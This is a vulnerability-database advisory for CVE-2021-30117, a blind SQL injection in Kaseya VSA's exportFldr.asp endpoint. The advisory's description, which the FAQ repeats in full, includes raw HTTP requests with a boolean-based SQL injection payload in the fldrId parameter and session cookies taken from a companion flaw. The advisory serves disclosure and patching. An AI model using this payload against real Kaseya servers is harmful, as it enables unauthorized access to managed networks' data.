CVE-2021-30117

CVE-2021-30117 is a critical-severity vulnerability in Kaseya Vsa with a CVSS 3.x base score of 9.8. Its EPSS exploit-prediction score of 72% places it in the 99th percentile, indicating an elevated likelihood of exploitation. The underlying weakness is classified as CWE-89.

Key facts

Description

The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```

Frequently asked questions

What is CVE-2021-30117?
The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```
How severe is CVE-2021-30117?
CVE-2021-30117 has a CVSS 3.x base score of 9.8, rated critical severity. It is exploitable over network with low attack complexity, requires no privileges and no user interaction. Impact on confidentiality is high, integrity high, and availability high.
Is CVE-2021-30117 being actively exploited?
It is not currently listed in CISA's KEV catalog. Its EPSS exploit-prediction score is 72% (99th percentile), an estimate of the probability of exploitation in the next 30 days.
What products are affected by CVE-2021-30117?
CVE-2021-30117 affects Kaseya Vsa. See the affected-products list for the exact vulnerable versions.
How do I fix CVE-2021-30117?
Review the linked vendor and NVD advisories for patched versions and mitigations, then upgrade or apply the recommended workaround. Given its critical severity, prioritise patching exposed systems.
When was CVE-2021-30117 published?
CVE-2021-30117 was published on 2021-07-09 and last updated on 2026-06-17.

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